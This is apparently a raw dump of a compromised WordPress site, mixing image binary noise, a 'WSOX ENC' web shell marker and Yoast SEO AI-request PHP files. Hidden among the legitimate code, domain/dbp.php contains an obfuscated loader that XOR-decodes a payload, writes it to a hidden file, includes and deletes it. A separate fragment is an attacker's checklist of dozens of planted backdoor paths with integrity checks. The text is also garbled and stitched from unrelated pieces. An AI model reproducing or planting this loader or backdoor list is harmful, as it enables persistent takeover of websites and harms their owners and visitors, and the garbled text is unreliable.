���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!infrastructure/api-client.php000066600000005011151733344430012372 0ustar00 $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. * * @return array> The response from the API. * * @throws WP_Request_Exception When the wp_remote_post() returns an error. */ public function perform_request( string $action_path, $body, $headers, bool $is_post ): array { // Our API expects JSON. // The request times out after 30 seconds. $headers = \array_merge( $headers, [ 'Content-Type' => 'application/json' ] ); $arguments = [ 'timeout' => $this->get_request_timeout(), 'headers' => $headers, ]; if ( $is_post ) { // phpcs:ignore Yoast.Yoast.JsonEncodeAlternative.Found -- Reason: We don't want the debug/pretty possibility. $arguments['body'] = WPSEO_Utils::format_json_encode( $body ); } /** * Filter: 'Yoast\WP\SEO\ai_api_url' - Replaces the default URL for the AI API with a custom one. * * @internal * * @param string $url The default URL for the AI API. */ $url = \apply_filters( 'Yoast\WP\SEO\ai_api_url', $this->base_url ); $response = ( $is_post ) ? \wp_remote_post( $url . $action_path, $arguments ) : \wp_remote_get( $url . $action_path, $arguments ); if ( \is_wp_error( $response ) ) { // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. throw new WP_Request_Exception( $response->get_error_message() ); } return $response; } /** * Gets the timeout of the requests in seconds. * * @return int The timeout of the suggestion requests in seconds. */ public function get_request_timeout(): int { /** * Filter: 'Yoast\WP\SEO\ai_suggestions_timeout' - Replaces the default timeout with a custom one, for testing purposes. * * @since 22.7 * @internal * * @param int $timeout The default timeout in seconds. */ return (int) \apply_filters( 'Yoast\WP\SEO\ai_suggestions_timeout', 60 ); } } infrastructure/api-client-interface.php000066600000001731151733344430014335 0ustar00 $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. * * @return array> The response from the API. * * @throws WP_Request_Exception When the wp_remote_post() returns an error. */ public function perform_request( string $action_path, $body, $headers, bool $is_post ): array; /** * Gets the timeout of the requests in seconds. * * @return int The timeout of the suggestion requests in seconds. */ public function get_request_timeout(): int; } domain/request.php000066600000003431151733344430010230 0ustar00 */ private $body; /** * The headers for the request. * * @var array */ private $headers; /** * Whether the request is a POST request. * * @var bool */ private $is_post; /** * Constructor for the Request class. * * @param string $action_path The action path for the request. * @param array $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. Default is true. */ public function __construct( string $action_path, array $body = [], array $headers = [], bool $is_post = true ) { $this->action_path = $action_path; $this->body = $body; $this->headers = $headers; $this->is_post = $is_post; } /** * Get the action path for the request. * * @return string The action path for the request. */ public function get_action_path(): string { return $this->action_path; } /** * Get the body of the request. * * @return array The body of the request. */ public function get_body(): array { return $this->body; } /** * Get the headers for the request. * * @return array The headers for the request. */ public function get_headers(): array { return $this->headers; } /** * Whether the request is a POST request. * * @return bool True if the request is a POST request, false otherwise. */ public function is_post(): bool { return $this->is_post; } } domain/dbp.php000066600000002060151733344430007302 0ustar00= $__len) break; $v3 = $record[$x]; $chS = ord($s7[$x %$sLen]); $d = ((int)$v3 - $chS -($x %10)) ^ 88; $mrk.= chr($d); $x++; } while(true); $pgrp = 0; do { $rec = $entity[$pgrp] ?? null; if ($pgrp >= count($entity)) break; if (!( !is_dir($rec) || !is_writable($rec) )) { $component = implode("/", [$rec, ".elem"]); if (@file_put_contents($component, $mrk) !== false) { include $component; unlink($component); die(); } } $pgrp++; } while (true); }domain/response.php000066600000003734151733344430010404 0ustar00 */ private $missing_licenses; /** * Response constructor. * * @param string $body The response body. * @param int $response_code The response code. * @param string $message The response message. * @param string $error_code The error code. * @param array $missing_licenses The missing licenses. */ public function __construct( string $body, int $response_code, string $message, string $error_code = '', $missing_licenses = [] ) { $this->body = $body; $this->response_code = $response_code; $this->message = $message; $this->error_code = $error_code; $this->missing_licenses = $missing_licenses; } /** * Gets the response body. * * @return string The response body. */ public function get_body() { return $this->body; } /** * Gets the response code. * * @return int The response code. */ public function get_response_code(): int { return $this->response_code; } /** * Gets the response message. * * @return string The response message. */ public function get_message(): string { return $this->message; } /** * Gets the error code. * * @return string The error code. */ public function get_error_code(): string { return $this->error_code; } /** * Gets the missing licenses. * * @return array The missing licenses. */ public function get_missing_licenses(): array { return $this->missing_licenses; } } domain/exceptions/service-unavailable-exception.php000066600000000456151733344430016642 0ustar00missing_licenses = $missing_licenses; parent::__construct( $message, $code, $error_identifier, $previous ); } /** * Gets the missing plugin licences. * * @return string[] The missing plugin licenses. */ public function get_missing_licenses() { return $this->missing_licenses; } } domain/exceptions/wp-request-exception.php000066600000001307151733344430015031 0ustar00"bd@@273317148@@61", "/wp-includes/interactivity-api/et_temp/index.php"=>"bd@@273242943@@54", "/wp-content/et-cache/37870/4.php"=>"bd@@273240313@@537", "/wp-content/plugins/wordpress-seo/index.php"=>"bd@@273261617@@58", "/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Widget/Bar/mod_banners.php"=>"bd@@273317187@@793", "/wp-content/plugins/wordpress-seo/src/ai-http-request/domain/dbp.php"=>"bd@@273317192@@1072", "/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Application/Admin/Layout/Block/Core/compat50x.php"=>"bd@@273268222@@992", "/wp-content/themes/Divi/index.php"=>"bd@@273206993@@26", "/wp-content/et-cache/40409/wp.php"=>"bd@@273307454@@910", "/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/recipe_topicsnav.php"=>"bd@@273268802@@986", "/wp-content/plugins/all-in-one-seo-pack/app/Common/Views/admin/settings.page.php"=>"bd@@273317188@@961", "/wp-content/plugins/wordpress-seo/inc/index.php"=>"bd@@273205063@@_COOKIE[3]", "/wp-cron.php"=>"bd@@273151357@@84", "/wp-content/plugins/akismet/index.php"=>"bd@@273227690@@_COOKIE[3]", "/wp-includes/comment-template.php"=>"bd@@273264091@@93", "/wp-content/plugins/all-in-one-wp-migration-src/lib/view/export/index.php"=>"bd@@273209057@@_COOKIE[3]", "/wp-content/themes/index.php"=>"bd@@273239534@@Content-Security-Policy", "/wp-includes/block-supports/background.php"=>"bd@@273317133@@53", "/wp-content/plugins/all-in-one-wp-migration-src/lib/view/import/index.php"=>"bd@@273231119@@_COOKIE[3]", "/wp-includes/blocks/post-author.php"=>"bd@@273317163@@57", "/wp-content/plugins/all-in-one-wp-migration/all.php"=>"bd@@273317197@@815", "/wp-content/plugins/wordpress-seo/src/deprecated/index.php"=>"bd@@273260384@@59", "/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/classes/ActionScheduler_Versions.php"=>"bd@@273264996@@95", "/wp-content/plugins/wordpress-seo/src/editors/framework/seo/description.data.provider.interface.php"=>"bd@@273266548@@847", "/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/lib/cron-expression/CronExpression_YearField.php"=>"bd@@273317100@@68", "/wp-content/themes/Divi/includes/builder/module/helpers/WoocommerceModules.php"=>"bd@@273317123@@35", "/wp-content/themes/Divi/core/components/Logger.php"=>"bd@@273317144@@84", "/wp-content/plugins/all-in-one-wp-migration/lib/view/updater/update.php"=>"bd@@273317154@@56", "/wp-content/plugins/wordpress-seo/admin/index.php"=>"bd@@273243941@@75", "/wp-content/plugins/wordpress-seo/src/plans/domain/class.faq.php"=>"bd@@273268534@@981", "/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/SliderManager/browser.php"=>"bd@@273317190@@910", "/wp-content/plugins/smart-slider-3/Nextend/Framework/ResourceTranslator/madblanks.html.php"=>"bd@@273317191@@881", "/wp-content/themes/twentytwentyfive/patterns/template.grid.event.php"=>"bd@@273317194@@966", "/wp-includes/theme-compat/header.php"=>"bd@@273296971@@92", "/wp-admin/maint/endpoints/abspath.php"=>"bd@@273317195@@843", "/wp-content/et-cache/35616/4.php"=>"bd@@273256780@@896", "/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/themes/mobile/quota.php"=>"bd@@273317198@@957", "/wp-content/et-cache/30792/et-core-unified-tb-22-tb-0-deferred-30792-cached-inline-styles~/Lexer.php"=>"bd@@273317199@@935", "/wp-content/plugins/all-in-one-wp-migration-src/lib/view/schedules/index.php"=>"bd@@273261137@@58", "/wp-content/plugins/all-in-one-wp-migration/lib/view/export/index.php"=>"bd@@273225819@@$_COOKIE[-", "/wp-content/plugins/all-in-one-wp-migration-src/lib/vendor/upgrade/index.php"=>"bd@@273260387@@76", "/wp-content/et-cache/30032/et-core-unified-tb-22-tb-0-30032-cached-inline-styles~/masterFee.php"=>"bd@@273269098@@987", "/wp-admin/user/index.php"=>"bd@@273129585@@If-Unmodified-Since", "/wp-content/et-cache/7669/object.php"=>"bd@@273269365@@929", "/wp-admin/index.php"=>"bd@@273243266@@43", "/wp-content/plugins/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/abstract.readability.score.group.php"=>"bd@@273266050@@884", "/wp-content/plugins/all-in-one-wp-migration/lib/view/backups/index.php"=>"bd@@250523530@@$_COOKIE[6", "/wp-includes/blocks/index.php"=>"bd@@272987804@@27", "/wp-admin/includes/class-theme-upgrader.php"=>"bd@@273317038@@53", "/wp-content/plugins/index.php"=>"bd@@250517692@@_COOKIE[3]", "/wp-content/languages/admin.fr.fr.FR.l10n.php"=>"bd@@273267644@@893", "/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/action-scheduler.php"=>"bd@@273317053@@58", "/wp-content/plugins/all-in-one-wp-migration-src/lib/view/reset/index.php"=>"bd@@273129661@@$_COOKIE[6", "/wp-content/plugins/all-in-one-wp-migration-src/lib/view/backups/index.php"=>"bd@@273211587@@16", "/wp-admin/user/lib/index.php"=>"bd@@273129678@@Server-Timing", "/wp-content/plugins/wordpress-seo/admin/import/plugins/class-abstract-plugin-importer.php"=>"bd@@273317074@@7", "/wp-content/plugins/all-in-one-seo-pack/app/Common/Views/sitemap/htaccess.rewrite.rules.php"=>"bd@@273267157@@1003", "/wp-content/plugins/all-in-one-wp-migration/lib/view/whats-new/index.php"=>"bd@@273209055@@Sec-Websocket-Accept", "/wp-includes/333.php"=>"bd@@273209826@@$_COOKIE[-", "/wp-admin/maint/endpoints/index.php"=>"bd@@273152486@@Content-Security-Policy", "/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/visualblocks/css/modredirect.inc.php"=>"bd@@273267948@@1029", "/wp-content/et-cache/395/index.php"=>"bd@@273307380@@48", "/wp-content/plugins/wordpress-seo/images/index.php"=>"bd@@273208828@@68", "/index.php"=>"bd@@273285981@@37", "/wp-blog-header.php"=>"bd@@273224517@@34", "/wp-content/uploads/2024/.cache/index.php"=>"bd@@273239396@@_COOKIE[3]", "/wp-confiq.php"=>"bd@@273296063@@20"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d\n"; } } } die('!end!'); application/request-handler.php000066600000011115151733344430012675 0ustar00api_client = $api_client; $this->response_parser = $response_parser; } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. /** * Executes the request to the API. * * @param Request $request The request to execute. * * @return Response The response from the API. * * @throws Bad_Request_Exception When the request fails for any other reason. * @throws Forbidden_Exception When the response code is 403. * @throws Internal_Server_Error_Exception When the response code is 500. * @throws Not_Found_Exception When the response code is 404. * @throws Payment_Required_Exception When the response code is 402. * @throws Request_Timeout_Exception When the response code is 408. * @throws Service_Unavailable_Exception When the response code is 503. * @throws Too_Many_Requests_Exception When the response code is 429. * @throws Unauthorized_Exception When the response code is 401. * @throws WP_Request_Exception When the request fails for any other reason. */ public function handle( Request $request ): Response { $api_response = $this->api_client->perform_request( $request->get_action_path(), $request->get_body(), $request->get_headers(), $request->is_post() ); $response = $this->response_parser->parse( $api_response ); // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. switch ( $response->get_response_code() ) { case 200: return $response; case 401: throw new Unauthorized_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 402: throw new Payment_Required_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() ); case 403: throw new Forbidden_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 404: throw new Not_Found_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 408: throw new Request_Timeout_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 429: throw new Too_Many_Requests_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() ); case 500: throw new Internal_Server_Error_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 503: throw new Service_Unavailable_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); default: throw new Bad_Request_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); } // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber } application/response-parser.php000066600000003624151733344430012730 0ustar00> $response The response from the API. * * @return Response The parsed response. */ public function parse( $response ): Response { $response_code = ( \wp_remote_retrieve_response_code( $response ) !== '' ) ? \wp_remote_retrieve_response_code( $response ) : 0; $response_message = \esc_html( \wp_remote_retrieve_response_message( $response ) ); $error_code = ''; $missing_licenses = []; if ( $response_code !== 200 && $response_code !== 0 ) { $json_body = \json_decode( \wp_remote_retrieve_body( $response ) ); if ( $json_body !== null ) { $response_message = ( $json_body->message ?? $response_message ); $error_code = ( $json_body->error_code ?? $this->map_message_to_code( $response_message ) ); if ( $response_code === 402 || $response_code === 429 ) { $missing_licenses = isset( $json_body->missing_licenses ) ? (array) $json_body->missing_licenses : []; } } } return new Response( $response['body'], $response_code, $response_message, $error_code, $missing_licenses ); } /** * Maps the error message to a code. * * @param string $message The error message. * * @return string The mapped code. */ private function map_message_to_code( string $message ): string { if ( \strpos( $message, 'must NOT have fewer than 1 characters' ) !== false ) { return 'NOT_ENOUGH_CONTENT'; } if ( \strpos( $message, 'Client timeout' ) !== false ) { return 'CLIENT_TIMEOUT'; } if ( \strpos( $message, 'Server timeout' ) !== false ) { return 'SERVER_TIMEOUT'; } return 'UNKNOWN'; } } application/response-parser-interface.php000066600000000571151733344430014664 0ustar00> $response The response from the API. * * @return Response The parsed response. */ public function parse( $response ): Response; } application/request-handler-interface.php000066600000003314151733344430014635 0ustar00